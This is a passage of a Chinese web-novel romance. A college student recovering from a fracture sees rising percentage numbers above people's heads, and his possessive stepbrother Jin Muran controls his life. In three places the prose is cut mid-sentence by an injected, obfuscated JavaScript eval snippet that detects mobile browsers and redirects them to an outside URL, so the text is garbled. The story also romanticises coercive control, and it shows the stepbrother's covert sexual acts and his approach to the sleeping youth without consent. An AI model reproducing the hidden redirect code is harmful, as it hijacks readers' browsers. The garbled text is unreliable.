顾嘉言拎着一袋水果神色激动,进门先跟靳穆然问了好,然后才一脸贱兮兮道:“听说咱们笙笙英勇负伤了?怎么回事?” 林也怀里捧着一束鲜花,一脸担心:“严不严重啊?真的吓我们一跳。” 宁笙还没打招呼,抬眼就看见他俩头顶明晃晃的数字:【70%】【73%】。 靠,没完没了了是吧?怎么他们头顶也有数字啊? 宁笙瞬间心情就不好了,神色也蔫蔫:“没事,骨裂,养养就行。” “骨裂还叫没事?” 顾嘉言凑近看他苍白的脸和固定护具,“徒手接小孩?牛逼是真牛逼,但也太吓人了!” 宁笙当时不觉得有什么,现在想想确实挺惊险的,不过…… “你们俩怎么知道的?我也没跟你们说住院的事。” 靳穆然原本在旁边听他们说话,手机铃声忽然响了起来,他回头淡淡瞥了顾嘉言和林也一眼,就去了走廊接电话。 顾嘉言:“你不知道吗?你救小孩的事情上电视了!现在你是学校里的风云人物。新闻社社长表示要为你单独开一个采访专题!学生会宣传部说要把你的事迹贴在最显眼的公告栏上!笙笙,你火了!” 上电视?宁笙扯了扯嘴角,这个不会就是小男孩家长说的报答方式吧? 呵呵,真的是谢谢他们了啊…… “作为你的好朋友,我们也沾了不少光。都想通过我们攀你的关系。” 林也叹了口气,表情无奈,“李乐回旁敲侧击问了几次你在哪住院,我们死守不说来着。” 李乐回就是那个黑皮篮球社长,宁笙听见这个名字,鸡皮疙瘩又爬上了脊背,他目露感激:“果然是好兄弟!” “他那点小心思我还不知道吗?想趁机过来献殷勤呗!” “也不能这么说。“林也戳了戳顾嘉言,“他一直以来没做什么出格的事,不过笙笙不喜欢见到他,那还是算了。” 靳穆然挂了电话走过来:“不喜欢见到谁?有人缠着宁笙吗?” 顾嘉言看了眼宁笙的脸,他不知道该不该说。 靳穆然冷冷的:“说话。” 他五官冷峻,哪怕没什么表情也很有压迫感。 “……也不是缠着,就是他那个人过分热情,我们怀疑他是Gay。” “靳哥,我们没有歧视任何性取向的意思。”林也谨慎补充:他这样的人学校里挺多的。主要是宁笙……长得比较招人喜欢。” 靳穆然脸色微沉,看向宁笙:“这事儿你怎么从来没有告诉我。” “因为真的很小一件事……”宁笙在他如有实质的目光越说越小声。 他的确从来没有提起过。 一来他觉得没有说的必要。二来靳穆然已经够忙了,这点小事他自己能处理,用不着麻烦他。 “叫什么名字,我去找你们校董。” “真不用了,哥哥。”宁笙觉得靳穆然表情特别恐怖,好像准备开除劝退似的。李乐回只是烦人了点,罪不至此。 顾嘉言见他们气氛不对,赶紧从口袋里掏出个mini锦旗,岔开话题:“笙笙,我们班同学众筹买了这个锦旗,特授予你“脆皮大学生见义勇为”特别奖!” 宁笙扯了扯嘴角:“……”这锦旗小的像拼夕夕买的。 顾嘉言煞有介事地抖了抖旗子:“小是小了点儿,激励效果是一样的!主要是为了鼓励宁笙同学,在危机时刻展现了乐于助人、奋不顾身的精神!” 靳穆然听了明显不悦,眼底冷光倏然掠过,刮得顾嘉言脊背一阵冷汗。 林也比较有眼力见,知道靳穆然不乐意宁笙受伤,赶紧打圆场:“不过笙笙下次遇到这种事还是先紧着自己,我们昨天都担心死了,所以今天翘课过来看你。” 顾嘉言连忙点头附和:“对对对,你瞧瞧靳哥守着你也很辛苦,又忙工作又当爹又当妈的不容易……” 靳穆然总是这样,在别人面前像一座冷硬的冰山。 顾嘉言私底下还说过他哥好严肃,每次见到他俩脸色都不太好。 宁笙也说不清为什么,一直以来靳穆然就不喜欢他交朋友。不允许他住校,和朋友出门也有严格的十点钟门禁! 这么想想,宁笙忽然觉得自己这些年还挺苦的。 重点是他也没想过反抗,就是靳穆然一个眼神他就老实了。 顾嘉言和林也已经习惯了,在病房里寒暄了一会儿,就赶紧溜回学校上课。 时间差不多了,靳穆然去给他办理出院手续,顺便收拾他的衣服物品。 宁笙嘴里咬着个三明治,手里捧了瓶热过的纯牛奶,看他哥忙碌的身影。 顾嘉言那句又当爹又当妈真没说错,靳穆然年纪轻轻就已经一股子爹味了。 这一切都要归结于宁笙十五岁那年,爸爸和赵阿姨车祸意外身亡。 那时家里每天都会来许多人。 宁笙蹲在楼梯转角处,听着楼下的争执声,他们话语里的信托、股权、代为监管,每一个词他都听不懂。 然后二十岁的靳穆然站了出来。 脊背挺拔、不卑不亢的年轻男生仿佛一把冷硬、锋利的刀,一出鞘就斩断了所有躁动和不怀好意。 宁笙把脸埋在膝盖里,眼泪无声浸湿了布料。直到世界重归安静,靳穆然单膝半蹲在他面前:“笙笙不怕,哥哥在。” 从那天起,靳穆然的世界只剩下两件事:守住宁家的产业以及养大宁笙。 “宁笙……?”靳穆然把他吃剩的半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16411795|184622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个三明治拿走,然后给他穿袜子:“叫了你好几声没反应,在想什么?” 宁笙长大后就没让靳穆然给他穿鞋袜了,挺不好意思的。但他骨裂不能弯腰,所以只能坦然做一个咸鱼。 “在想……哥哥长得真好看。”宁笙虽然很多方面都挺废的,但是小嘴巴很会说话,能把人夸的心花怒放。 靳穆然手上的动作顿了顿,神色自若地给他套鞋子:“行了,不用拍马屁。” 宁笙一脸认真地强调:“真的。” 上次画的OC画稿只不过一双眼睛像他,收藏和点赞就多了好几倍。 靳穆然这款帅哥在网络上应该很吃香,尤其是穿深色西装的时候,扑面而来的禁欲系性感男模味道。 哪怕不做公司老总,这张脸闯荡娱乐圈也应该赚不少。 靳穆然没再说话,帮他把鞋带绑好。 修长的手指如同细腻的白玉,指尖翻动中一个漂亮的蝴蝶结就打好了。 宁笙身高不足一米八,这个角度能看见他哥流畅的锁骨和喉结。 其实再往里看,还能看见结实的胸肌, 同样是男人,怎么他就练不出来肌肉呢?再怎么努力腹部也是薄薄一层,懈怠几天就会变成软乎乎的肉。 宁笙忿忿地挪开了目光,抬起头往上看,下一秒,他却愣在了原地。 靳穆然头顶悬浮的数字竟然在发生变化。 宁笙屏住呼吸,眼睁睁看着【90%】刷一下变成了【91%】! 什么鬼?所以这玩意儿竟然还会增长? 靳穆然注意到宁笙的表情,从刚才开始他就一脸惊愕地盯着自己。 琥珀色的眼瞳一眨不眨的,连呼吸都忘了。 他冷不丁喊他名字:“笙笙。” 宁笙回过神呆呆地:“啊?” 靳穆然伸手捏住他白嫩的颊肉,两边手指稍微用力,视线对上:“早上我就想问,你到底在看什么?” 数不清多少次了,宁笙的眼睛一直似有若无地瞥向他头顶。 即使掩饰得再好,眼神里也藏不住震惊和迷惑。 靳穆然不喜欢这种感觉。 即使他很清楚宁笙已经不是当初的小屁孩,他也不希望他有自己的小秘密。 “没、没什么。”宁笙被捏着脸颊说话不太利索,“我看你、发型好看、不行吗?” 靳穆然黑眸盯着他,语气很淡:“我有告诉过你,不可以对我说谎。” “真没看什么……再掐就红了哥!” 宁笙皱眉抗议着那只手,心想靳穆然未免太敏锐!不过多看了两眼就有所察觉,一举一动就跟透明人似的。 以后谁嫁给他可真是有福了,出轨开小差一抓一个准。 靳穆然闻言放开了手,垂眸扫过宁笙脸颊上的指痕。他碾了碾指腹残留的温度,一阵过电般的酥麻。 “回家吧。”说完他自顾自地先行一步,仿佛在压抑着什么。 宁笙伸手揉了揉自己的脸,嘟囔着回家就回家,他好歹还是个病人呢,靳穆然下手这么没轻没重。 白色幻影已经在地库候着,司机一见到他们就立刻帮忙提行李上车。 宁笙上了车就坐在角落里,盯着司机头顶的【35%】。 刚从医院出来一路上,他仔细观察过了,每个人头顶都有悬浮的数字,但是大部分数字都是0-10%。 宁笙猛然睁大眼睛,难不成是生命进度条?他哥该不会没几天日子了?! 5. 第5章 这个想法一出来,宁笙立刻紧张地看了眼靳穆然头顶的数值。 靳穆然蹙眉:“哪里疼?” 宁笙摇摇头,他很快就否决了这个想法。 先不要自己吓自己。 顾嘉言和林也的数值也不低,总不能他们的生命也快到尽头了吧。 他还看见一个老太婆头顶【5%】的,难不成八十岁老奶的生命进度才刚开始?如果是真的那也太扯蛋了。 宁笙稍微放宽了心,只要不和生命安全有关就行。 不过这个数值并不是一成不变的。 他就眼睁睁看见靳穆然增加了,但是具体原理他还没弄懂。 后脑勺还在隐隐作痛,宁笙一时半会也没有别的头绪,只能先放弃了。 司机怕颠到宁笙的伤口,所以车速并不快。 街景一路从繁华到安静,最后驶进一个环境清幽的高档别墅区。 宁家大宅坐落在山林湖边,占地面积广阔,享有得天独厚的自然景色。 前两年靳穆然重新翻修过,一花一木、一砖一瓦都透着名贵气息。 白色幻影熟门熟路地驶入前院,精致的雕塑水池旁边是精心打理的花圃,大片的蓝紫色无尽夏花团锦簇。 右侧草坪保留着宁笙儿时最喜欢的秋千和藤椅,紧挨着静谧的湖泊。 宁笙小时候不小心掉进过湖里,冰冷的湖水从四面八方涌过来,他连呼救都没有喊出来,以为就此命丧湖底了。 最后是靳穆然把他救起来的。宁笙至今还记得对方浑身湿透,双眼通红的样子。 后来湖边就加建了一排玻璃围栏,他再也没有掉下去。 桂姨很早就在门口等着了,看见宁笙小脸苍白的下车,胸背还穿着吓人的固定护具,心疼得偷偷抹起眼泪。 “小笙少爷你下次可不能再逞强了,桂姨年纪大了经不起吓。你要是出了什么事,我死了也没脸见先生夫人。” 她在宁家工作了几十年,本就把宁笙当做自己的亲生孩子看待。后来宁家出了事,她也毅然决然地留了下来。 “桂姨我真没有逞强,你有没有看新闻?我的英勇事迹……” 宁笙一边安慰桂姨,一边看了眼她头顶的数字:【75%】。中规中矩的数值,和顾嘉言他们差不多。 “小笙少爷还没有吃午饭吧?想吃什么我让厨房去做?今天刚好炖了滋补的汤,穆然少爷要多喝一点。” 宁笙这两天吃得清淡,说到吃的真是饿了,掰着手指开始点菜:“我要吃避风塘大闸蟹、芥末爆虾、香煎牛仔骨……” 靳穆然静静等他报完菜名,才开口:“医生说过你的饮食要忌辛辣高油,桂姨给他全部换成清蒸的做法。” 不是、他可是病人啊?在医院清汤寡水了两天,回家还要继续修身养性吗? 宁笙负气抿唇:“我抗议。” 靳穆然淡淡道:“抗议无效。” 桂姨在俩人的神色中来回扫,最后安慰他:“小笙少爷还是听穆然少爷的话。等你伤口长好了,咱们想吃什么就吃什么好不好?” 宁笙:“……” 好好好,这个家他说话不管用了是吧? 他记得靳穆然和赵阿姨刚来时,桂姨对他们并不是十分热情。 就是那种鸡妈妈看护鸡崽似的警惕。 后来小葡萄告诉他,桂姨是担心赵阿姨这个“新妈妈”对他不好。 宁笙觉得他们完全多虑,赵阿姨可温柔了,看他时总是笑眯眯的。 生日的时候会亲手给他做蛋糕,还给他织了很多可爱的毛线帽子围巾,生病的时候也会耐心哄他吃药。 也不知道从什么时候开始,桂姨就和靳穆然站在统一战线了。 家里其他佣人也是,对他这个“正牌”少爷一点也不怵,反而在靳穆然面前连头也不敢抬,更不敢作妖。 宁笙觉得这样下去不行,他已经长大了,必须捍卫自己的尊严! 靳穆然看了眼他一副要揭竿起义的表情,淡淡打断:“上楼,给你换伤口贴。” 宁笙本想说自己来也行,但稍微一抬手就疼得不行。从小到大他最怕疼,总不能为了尊严委屈自己吧? 俗话说得好,大丈夫要能屈能伸!反正都被压迫这么多年了,也不差这一次了。 宁笙立刻滑跪:“好嘞哥。” 他们俩的卧室都在三楼,门对着门,一边看湖景一边看山林。 宁笙小时候很喜欢溜过来靳穆然的房间,让他给自己讲漫画和科幻电影。夜深了就自然而然赖在这里睡下。 后来忘记是几岁了,靳穆然忽然就不许他在这睡了。 宁笙那段时间还挺生气的,觉得他哥是嫌他烦。 靳穆然房间的装潢和他本人一样沉稳内敛。大面积的黑白撞色,搭配浅胡桃木的地板,衣帽间里的衣服整整齐齐挂着。 不像宁笙的房间更有“人”气,一整面墙的模型手办,随意摆放的漫画书和杂志,衣服也是东一件西一件,穿过就忘记了。 宁笙坐在靳穆然床上,乖乖让他把身上的固定护具带拆了。听医生说这个玩意儿还得用一整个月,防止胸骨二次受伤。 “衣服脱了。” “哦。”宁笙眨了眨眼睛,还好他身上的T恤很宽松,单手脱下也不费劲。 二十出头的男生骨架匀亭,白皙的皮肤透着一层粉,腰身很细窄,略微凹进去的弧度,仿佛一只手能握住。 靳穆然眸色沉沉,像幽深危险的暗河,涌动着细碎光影。他手指停在那片新雪般的皮肤,轻轻撕下旧贴。 宁笙疼得直皱眉,没忍住低低抽气,“哥哥,轻、轻一点。” 靳穆然闻言抬眸看他一眼:“你在顾嘉言面前这样过吗?” 宁笙眨眼不解:“哪样?” 靳穆然顿了顿:“不穿衣服。” 宁笙低头看了看自己的胸口,虽然他觉得男生之间光着膀子也没什么。但他体质比较特殊,经常招来一些基佬的青睐。 尤其是上次顾嘉言不小心看见,脱口而出:“卧槽笙笙你那里是粉的!天啊竟然真有人长成这样,小电影诚不欺我!” 宁笙听得直翻白眼,想把顾嘉言的大嘴巴堵住! 他只是天生色素比较浅,明明没什么也让他说得跟有什么似的。 所以他想也没想就回道:“我有病啊我在他们面前不穿衣服。” 靳穆然拆封一个新的伤口贴,给他仔细贴在胸口的位置,用指腹压了压边缘:“嗯,你知道就好。” 宁笙点点头,心想他又不是三岁小孩,基本的防范意识还是有的。 再加上他有轻微洁癖,不喜欢和人接触太多。 说起洁癖,宁笙低头闻了闻自己身上。 这两天住院没洗澡真有点味儿了,靳穆然凑这么近没闻到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16411796|184622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗? 靳穆然一眼就看穿他:“医生说你伤口不能碰水,再忍忍。” “可是真的很臭。”宁笙小脸皱成一团,那表情要多嫌弃有多嫌弃。 靳穆然揉了揉他头发:“听话。” “……行吧,那我回房间了?吃饭的时候再喊我。”宁笙不愿意穿回原来的衣服,就这么光着膀子走了。 一关上门他就立刻反锁。 嘿嘿,他刚才就想好了要偷偷洗个澡,反正不让靳穆然知道就行。 最多他小心一点,保证不会碰到伤口,不然他真的要馊了。 偌大的卧室重回寂静。 山林间的风掠过湖泊泛起阵阵涟漪,吹开薄如蝉翼的纯色窗纱。 宁笙穿过的白T恤落在床尾,软软堆叠成一团。 靳穆然垂眸盯了许久,伸手拿起衣服。 简单到极致的款式,穿在宁笙身上却格外好看,他是天生的衣架子。 靳穆然眼底浮现宁笙白净透亮的胸口,指腹轻轻抚过柔软的布料,胸腔里的心脏不自觉地加速鼓动。 仿佛有什么野兽要破土而出。 他放在鼻间深深吸了一口,独属于宁笙的独特的香气透出来。 很甜,很好闻,还残留着他淡淡的温度。 靳穆然喉结滚了滚,沉着眼眸把衣服带进了浴室。 …… 宁笙洗了个战斗澡,整个人舒服多了。 想起自己衣服好像落在了靳穆然那,于是又折返回去。 卧室门是虚掩着的,隐约的水声从浴室玻璃门后传出来。 靳穆然也去洗澡了,那他俩还挺心有灵犀的。其实他哥的洁癖更严重,陪自己住院两天估计也很难受。 宁笙本想悄悄拿了就走,结果找了一圈也没看到,只好站在浴室门前喊:“哥哥,你有没有看见我的衣服?” 浴室的磨砂玻璃看不太真切,只隐约看见一个高大身影背对着。 然而对方没有回答他。 宁笙只好走近几步,又喊了一句:“穆然哥哥?” 隔着薄薄一道玻璃,靳穆然靠在墙上闭了闭眼,手上的动作未停,沉重压抑的呼吸混杂在水流声里。 “嗯。” 宁笙松了口气,还以为他哥要在浴室里睡着了:“哥哥,我的衣服你拿进去洗了吗?这是全球限量版可能要干洗……” 别看它平平无奇,其实版型和面料贼好,简直是百搭神器。 缺点也显而易见,就是娇气,稍微一拉扯蹂躏就会走形。如果沾了什么东西也特别明显,没办法洗掉。 片刻后水声停了,浴室里湿气氤氲,靳穆然略带沙哑的嗓音传来。 “笙笙。” 隔着玻璃的宁笙歪了歪头:“怎么了?” 靳穆然垂眸,水珠沿着高挺的鼻梁落下,他攥紧手里被拉扯变形的布料:“衣服我洗坏了,赔你一件。” 宁笙怔了一下,挠了挠头说没关系。 一件衣服而已,兄弟之间还说赔就太见外了。只是隐隐觉得有些不对劲,但具体又说不出来。 宁笙本来就头疼,这时浴室门打开,靳穆然在水汽缭绕中走出来,头顶悬浮的【92%】显得异常瞩目。 他抬眼看过去,嘴角抽了抽:“……” 怎、么、回、事? 他哥就洗个澡的功夫,莫名其妙的数字又增加了? 6. 第6章 宁笙不敢一直盯着他头顶看,视线扫过靳穆然未着寸缕的上身——肌肉精壮结实,性感的人鱼线下是一条黑色居家裤。 腿有两米长的既视感,身材完美得可以立刻去走秀。只是不知道为什么,宁笙觉得靳穆然身上有股奇怪的味道。 他忍不住凑近嗅了嗅:“穆然哥哥,你用的洗护什么牌子?闻起来好像有点……”反正形容不出来。 靳穆然身形顿了顿,眉眼仿佛凝着雾:“喜欢?” “也不是,就还挺特别的。”宁笙没再纠结下去,他肚子已经饿得咕咕叫了,等靳穆然穿好衣服就一起下楼吃饭。 宁家主楼有三个餐厅,一个宴客用,一个家庭聚餐用,还有一个紧挨着花园的小餐厅,宁笙和靳穆然用得最多。 满满的一桌菜非常丰盛,宁笙光看着就食指大动了。 他们用的餐具是小王子的主题。宁笙去年沉迷陶瓷手工,做了很多杯杯碟碟,烧制好后比外面卖的还好看。 包括靳穆然在公司里的杯子,是和他本人格格不入的小猫咪图案。 靳穆然剥了几只虾放在宁笙碗里,又把清蒸的鱼肉剔掉刺才给他。 火候控制得刚刚好,吃进嘴里又鲜又嫩。 宁笙吃完饭再喝了一小碗汤,桂姨拿手的沙参玉竹炖鹌鹑。 喝完胃里舒服了不少,看着气色也更好了,脸颊透着一层淡淡的粉色。 宁笙吃完饭本来想去画稿子的。小粉书评论区里几百条催更新,满屏的太太饿饿饭饭、太太可不能歇着啊! 他从小没什么特别爱好,干什么都兴致缺缺,只有画画坚持到现在。 靳穆然一眼看穿他的小心思,随手就把他的平板和手绘板没收了。 “我说过这个月你在家好好休养,再让我发现你熬夜画画,以后你就别再想画了。” “啊?就画一会儿不行吗?我保证不会超过12点睡觉。”宁笙一张小脸要垮不垮的,还有比他更憋屈的富二代吗? “一会儿也不行。” “哥哥,我在医院憋了两天够无聊了,好不容易回到家你这也不让那也不让的,是不是太不讲理了?” 靳穆然身高超过一米九,起比宁笙高大半个头。说话时总是垂着睫毛,眼珠如墨玉深沉,像一泓琢磨不透的深潭。 “你现在是连我的话都不听了?是谁说过什么都听哥哥的?” 宁笙顿时语塞,他是有说过这句话。 爸爸和赵阿姨刚出事那会儿,他整个世界都是灰暗的。 靳穆然就成了他唯一的救命稻草。 宁笙好几次睡醒看不见他,都以为他抛下自己走了。 打电话给他话也不说就一直哭。 不管桂姨怎么安抚都没用,还没哭完靳穆然就回来了。 他们本就没有血缘羁绊,靳穆然要离开不过是一句话的事。 宁笙当时太不安了,为了强调自己绝不做烦人的拖油瓶,发誓以后什么都听靳穆然的,他让他往东他绝不往西! 他怕靳穆然不相信,还专门用白纸黑字写了下来,然后给藏到保险箱里头了,随时可以拿出来对质。 真是搬起石头砸自己的脚。 宁笙抿了抿唇,右边脸颊的小红痣跟着闪了闪:“那我打会儿游戏行不行?新的赛季已经开始了我要和队友上分。” 靳穆然不喜欢宁笙沉迷游戏。 尤其是偶然一次听见他游戏里的网友约他出去见面,当即黑了脸。 当然最后宁笙也没去,因为那段时间他压根就没办法跨出这道门。五六个彪壮大汉守在家门口,盯犯人似的盯他。 “你说呢?” “我说当然可以啊。”宁笙撇了撇嘴,这还用问吗? “我只允许你躺着看漫画,并且要在我的监督下执行,九点半要准时睡觉。” 九点半?这是什么小学鸡作息? 他好歹也是大学生了,成年人!熬个夜到底怎么了? 宁笙决定讨价还价:“十一点。” 靳穆然看了他一眼:“十点半,胸口有哪里不舒服要立刻告诉我。” 争取到一个小时,宁笙立刻见好就收:“行行行,十点半就十点半,正好从R国代购了一批热血新番还没看。” …… 二楼书房是他们俩经常待的地方,满墙书架摆放着宁笙看一眼就头痛的商业书籍。 靠窗位置摆了张舒适的真皮沙发,堆了好几个柔软的鹅绒靠枕。还有一张花纹很漂亮,像梵高星空的羊毛毯。 他们去欧洲旅行时买的,宁笙一眼就被吸引住,千里迢迢非带回家里。 靳穆然在斜对面的宽大书桌后办公。深色胡桃木在灯光下发出幽暗的光芒,桌面摆了一盏精美的欧式复古蝴蝶灯。 这两天积压的许多工作,唐秉已经提前送过来家里了。 盛禾最近计划投下海城新区的一块地皮,用于建设高新工业园。一部分给自家公司拓展生产线,另一部分出租。 不过前期费用投入庞大,近年来各行业经济萎缩,回报周期拉得很漫长。同时公司要保证足够的流动资金推进其他项目。 高层们几次开会商讨还是拿不定主意。 于是最终决断落在了靳穆然身上。 宁笙靠躺在沙发上,手里捧着一本漫画书没精打采地看。 书房里不算安静,视频会议里低沉而快速的话语听得人眼皮直打架。 太催眠了,宁笙在医院本就没睡好,所以躺下来没半个小时就开始犯困。 翻书页的声音忽然停了,靳穆然去看沙发上的那个身影。 一本簇新的漫画书掉在地毯上,宁笙细长的小腿从毛毯中伸出来,呼吸很绵长,隐约听见浅浅的鼾声。 靳穆然目光落在他白皙的腿肉上,眉心蓦地跳了一下。手指轻轻颤抖着,甚至连他自己也没有发觉。 书房里的古董时钟滴答作响,伴随着心底疯狂滋长的隐秘欲望。 想……伸手触碰他温热细腻的皮肤。 耳边甚至产生了某种强烈的、带有催促意味的嗡鸣。就像沙漠中缺水到极致的旅人,渴求拯救自己的水源。 靳穆然深深吸了一口气,眼底跃动的欲望被压下去。 “笙笙……醒醒。” “嗯?”宁笙感觉有人在叫自己,艰难地睁开了眼睛。 “回房间睡。” “……” 宁笙压根听不清靳穆然在说什么。 眼皮仿佛有千斤重,没坚持两秒眼睛又闭了回去,他真的真的很困。 靳穆然把人抱回了卧室。 他个子不算矮,但因为骨架小的缘故,抱起来轻飘飘的不压手。 房间里没开灯,静谧温柔的月光从纱帘透进来。窗户开了一点小缝隙,残留着夏日余热的花香随风涌动。 靳穆然在床边给宁笙盖好被子,在原地站着没走。只有在这样的氤氲光线中,他会肆无忌惮地看宁笙。 不需要任何道貌岸然的掩饰,目光如有实质般舔过他细嫩的皮肤。再一寸寸深入厮磨,连着骨血拆吞入腹。 ……可以吗?靳穆然压着高挺的眉骨,乌眸犹如深不见底的静谧宇宙,手掌也不自觉地捏住他的脸颊。 巴掌大的脸,一只手掌能完全覆盖。柔软的皮肉包裹着骨骼,像某种羸弱无辜的小动物,只稍一用力就能弄哭。 睡梦中的宁笙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16411797|184622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不适地动了动,朦胧的光线让他如同唯美油画,口鼻中呼出的香甜气息充斥着整个空间。 靳穆然依然没有放手,手指肆无忌惮地碾磨那颗勾人的红痣。 视线下移—— 新雪般的一截脖颈泛着淡粉,薄薄的皮肤随着呼吸搏动。 香气愈发馥郁,他俯身低下头,月光让他们的影子纠缠交叠在一起。 …… 宁笙老老实实在家呆了半个月,无聊得都要长出蘑菇了。 靳穆然除了推不掉的商业会议之外,真的做到了在家盯着他。 宁笙每天在他眼皮子底下按时吃饭,健康作息,脸颊也长了些肉。 好在他的伤口痊愈得比想象中更理想,回医院复查没什么问题后,就把固定护具拆了。 只是还不能做跑跳等大动作。 靳穆然原本还想让他在家多观察两天,宁笙软磨硬泡了他很久,才终于可以回去上课。 想想都泪流满面, 靳穆然送宁笙回了学校,刚进校门就碰上李乐回。 穿球衣的黑皮大高个正在和朋友打蓝球,看见宁笙从树荫下走过,立刻跑了过来,龇出一口大白牙:“宁笙!你身体恢复了?大半个月不见你了嘿嘿。” 男生刚运动完,结实手臂上一层亮晶晶的汗水,宁笙不着痕迹地退了一步,抬眸看他头顶显眼的【88%】 宁笙收回视线:“嗯,谢谢关心,我已经没事了。” 李乐回仿佛没注意他的冷淡,自顾自说道:“真没想到宁笙同学看起来……”他顿了顿,表情有些羞涩,“私下却那么勇敢善良,我真的很替你骄傲。” 篮球场上的朋友还在等李乐回,但是也不催促,三三两两笑容暧昧地看向这边。 “额,举手之劳而已……” 宁笙那种脊背发麻的感觉又来了,早知道刚刚绕另一条路走。 其实李乐回长得并不难看,高大开朗、热爱运动,学校里有不少女生喜欢他。 但他从见到宁笙第一眼开始,就莫名奇妙的开始自来熟了。 见到面总会热情打招呼,在外人眼里他们仿佛是关系不错的朋友。宁笙没有特意解释过,只有顾嘉言他们知道他并不喜欢李乐回这个人。 “你回家休养这段时间,好像长肉了哎。也好,之前真的太瘦了。我看你平时也不怎么运动,这样对身体不好。你有空的话可以和我们一起打球。” “我不喜欢运动。” “那你喜欢什么?我看你有参加绘画社和Cos社,是喜欢画画?” 宁笙扯了扯背包,琥珀色的眼眸淡淡的:“抱歉,我赶着上课,先不聊了。” 兜里的手机一直在震动,估计是顾嘉言和林也问他怎么还没到。 “等等——”李乐回伸手捉住了他手腕,黝黑的皮肤衬得他白的发光,“我下周有个篮球比赛,你有空的话可以来看吗?” 他怕宁笙拒绝,立刻又补了句:“这个比赛对我很重要,如果你来的话,我……会很高兴的。” 宁笙皱眉,湿乎乎的手心让他有些不适,“你能先放手吗?” 李乐回充耳不闻,眼睛依然直勾勾盯着他的脸。太漂亮了,第一次见到男生睫毛这么长,小扇子似的。 眼睛鼻子没有一个地方不好看,身上还有淡淡香气。不是香水,而是来自于他身体和皮肤的味道。 他凑近了一些,身影挡住部分阳光:“宁笙,你……” 宁笙不知道李乐回想说什么,眼看着短短几秒钟,他头顶的【88%】刷一下飙升到【92%】! 他抽回手向后踉跄了一步,心底涌上一个可怕的念头——所以这玩意儿和自己有关? 7. 第7章(修) 宁笙还是迟到了几分钟。 任课老师看了他一眼,没说什么让他进了教室。 不少视线也聚集在他身上,他没在意,坐在了顾嘉言和林也的旁边。 他有轻微洁癖,刚刚去卫生间洗了好几遍手,才感觉那股手腕那股湿腻彻底消褪。 坐下来又拿湿巾擦了擦,心里才舒服。 顾嘉言和林也盯着他一套操作,凑过来挤眉弄眼道:“笙笙你咋了,我们还以为你今天不来了呢?发了消息给你也没回……” “我遇到李乐回,所以耽误了点时间。”宁笙拿出书本,随便摊开一页。 “怎么遇到他了?没骚扰你吧?” “还用说吗?看宁笙的脸色不就知道了?指定拦着他说了什么奇奇怪怪的东西。” 顾嘉言嗓门没压住,讲台方向传来一声轻咳。 任课老师扶了扶眼镜,目光透过镜片锐利地扫过他们三个。 教室里安静下来,只剩窗外簌簌的树叶声。三人立刻低下头,假装认真看书。 等那压迫感十足的视线消失,林也用笔帽轻轻捅了捅宁笙的胳膊,气声问:“然后呢?” 宁笙把书页翻得哗啦响,声音压得更低:“他邀请我下周去看篮球赛。” 顾嘉言猛地抬头又想说话,被林也一把按住。 “海大和港大最近联合举办的高校篮球赛?好像挺隆重的。”林也问,见宁笙点头,他皱眉,“你去吗?” 宁笙摇头:“我没答应。” 一来他对这种球赛不感兴趣,二来他也不想和李乐回产生过多交集。 “千万别去。” 顾嘉言从牙缝里挤话,“那小子绝对没安好心。我们学校这么大,怎么每次他都能堵到你?真是诡计多端的Gay。” 宁笙抿着唇没说话,他刚刚确实被李乐回吓到了。而且他想起对方靠近自己时,头顶的数值猛然增加。 ……会是巧合吗?宁笙清澈的眼珠转了转,回想靳穆然每次增加数值的场景。 宁笙还是不太确定。 于是他趁老师转身在黑板写字的间隙,伸手握住了顾嘉言的手臂。 顾嘉言回头疑惑地看了他一眼:“笙笙,你忽然抓我手干什么?” 实践是检验真理的唯一标准,宁笙不语,只一味看他头顶。 半分钟过去了,【73%】一动不动。 他不死心,身体靠得更近一些,顾嘉言表情肉眼可见的慌张起来:“笙、笙笙、我知道我很有魅力……但我是直男。哪怕你再好看,也只能是我兄弟。” 林也捂着肚子快要笑抽了,但是怕老师听见只能拼命压住。 宁笙收回了手,嘴里嘟囔着:“没反应啊……难道我猜错了?” 顾嘉言不解:“什么反应啊?你刚刚到底是在干嘛?” 宁笙说没什么,心不在焉地上完课,直到下课铃响了才收回思绪。 顾嘉言和林也叫他一起去市中心吃牛肉火锅。 “新开张的,我拿到了几张优惠券。” “顾嘉言,你脑子里怎么全是吃的啊?打工那点钱够你花吗?” “害,钱挣了不就是拿来花的吗?就当是庆祝宁笙回归了。而且我周末又找了一个大学生上门遛狗的兼职,钱包扛得住!” “还有这种兼职?” 